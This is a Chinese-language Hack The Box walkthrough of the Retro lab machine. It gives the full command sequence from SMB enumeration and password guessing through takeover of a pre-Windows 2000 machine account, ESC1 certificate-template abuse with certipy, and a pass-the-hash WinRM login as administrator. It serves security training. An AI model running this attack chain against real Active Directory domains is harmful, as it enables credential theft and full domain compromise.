HTB Retro 渗透测试实战:从SMB枚举到ADCS证书提权

本文详细记录了HTB Retro靶机的完整渗透测试过程,涵盖SMB共享枚举、Pre-Windows 2000计算机账户利用、ADCS证书模板漏洞(ESC1)分析和最终通过证书认证获取管理员权限的技术细节。

HTB: Retro

信息收集

初始扫描

Nmap扫描显示22个开放TCP端口:

1
oxdf@hacky$ nmap -p- --min-rate 10000 10.129.234.44

端口扫描结果显示典型的Windows域控制器服务,包括DNS(53)、Kerberos(88)、SMB(445)、LDAP(389)等。域名为retro.vl,主机名为DC

SMB枚举

使用netexec生成hosts文件并添加到本地:

1
2
oxdf@hacky$ netexec smb 10.129.234.44 --generate-hosts-file hosts
oxdf@hacky$ cat hosts /etc/hosts | sponge /etc/hosts

guest账户可枚举SMB共享:

1
oxdf@hacky$ netexec smb dc.retro.vl -u guest -p '' --shares

发现NotesTrainees共享。guest账户只能读取Trainees共享,其中包含Important.txt文件:

1
2
3
4
5
6
Dear Trainees,
I know that some of you seemed to struggle with remembering strong and unique passwords.
So we decided to bundle every one of you up into one account.
Stop bothering us. Please. We have other stuff to do than resetting your password every day.
Regards
The Admins

用户枚举与认证

RID循环枚举

通过RID循环发现用户账户:

1
oxdf@hacky$ netexec smb dc.retro.vl -u guest -p '' --rid-brute

发现trainee用户和BANKING$机器账户。

认证尝试

根据提示,尝试使用用户名作为密码认证trainee账户成功:

1
oxdf@hacky$ netexec smb dc.retro.vl -u trainee -p trainee

认证后枚举

SMB共享访问

trainee账户可访问Notes共享,包含两个文件:

  • user.txt:用户flag
  • ToDo.txt:提示清理旧银行软件和预创建计算机账户

Pre-Windows 2000利用

根据提示,BANKING$机器账户使用Pre-Windows 2000认证方式,密码为主机名小写:

1
oxdf@hacky$ netexec smb dc.retro.vl -u 'BANKING$' -p banking

收到STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT错误,表明密码正确但账户未使用。

密码更改

使用changepasswd.py通过RPC协议更改密码:

1
oxdf@hacky$ changepasswd.py -newpass 0xdf0xdf 'retro.vl/BANKING$:banking@dc.retro.vl' -protocol rpc-samr

Kerberos认证替代方案

也可使用Kerberos认证绕过密码更改:

1
oxdf@hacky$ netexec smb dc.retro.vl -u 'BANKING$' -p banking -k

ADCS枚举与利用

证书模板发现

使用certipy查找易受攻击的证书模板:

1
oxdf@hacky$ certipy find -u 'BANKING$@retro.vl' -p 0xdf0xdf -vulnerable -stdout

发现RetroClients模板存在ESC1漏洞:允许注册者指定主题且支持客户端认证。

ESC1漏洞利用

请求管理员证书:

1
oxdf@hacky$ certipy req -u 'BANKING$@retro.vl' -p 0xdf0xdf -ca retro-DC-CA -template RetroClients -upn administrator@retro.vl -key-size 4096

由于SID不匹配,需要指定管理员SID:

1
oxdf@hacky$ certipy req -u 'BANKING$@retro.vl' -p 0xdf0xdf -ca retro-DC-CA -template RetroClients -upn administrator@retro.vl -sid S-1-5-21-2983547755-698260136-4283918172-500 -key-size 4096

证书认证

使用证书获取管理员TGT和NTLM哈希:

1
oxdf@hacky$ certipy auth -pfx administrator.pfx -dc-ip 10.129.234.44

权限提升

WinRM连接

使用获取的NTLM哈希通过WinRM连接:

1
oxdf@hacky$ evil-winrm-py -i dc.retro.vl -u administrator -H 252fac7066d93dd009d4fd2cd0368389

获取root flag

在管理员桌面读取root flag:

1
evil-winrm-py PS C:\Users\Administrator\desktop> cat root.txt

总结

本次渗透测试从SMB共享枚举开始,通过Pre-Windows 2000计算机账户漏洞获取权限,最终利用ADCS证书模板的ESC1漏洞实现权限提升,完整展示了Active Directory环境中的常见攻击链。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计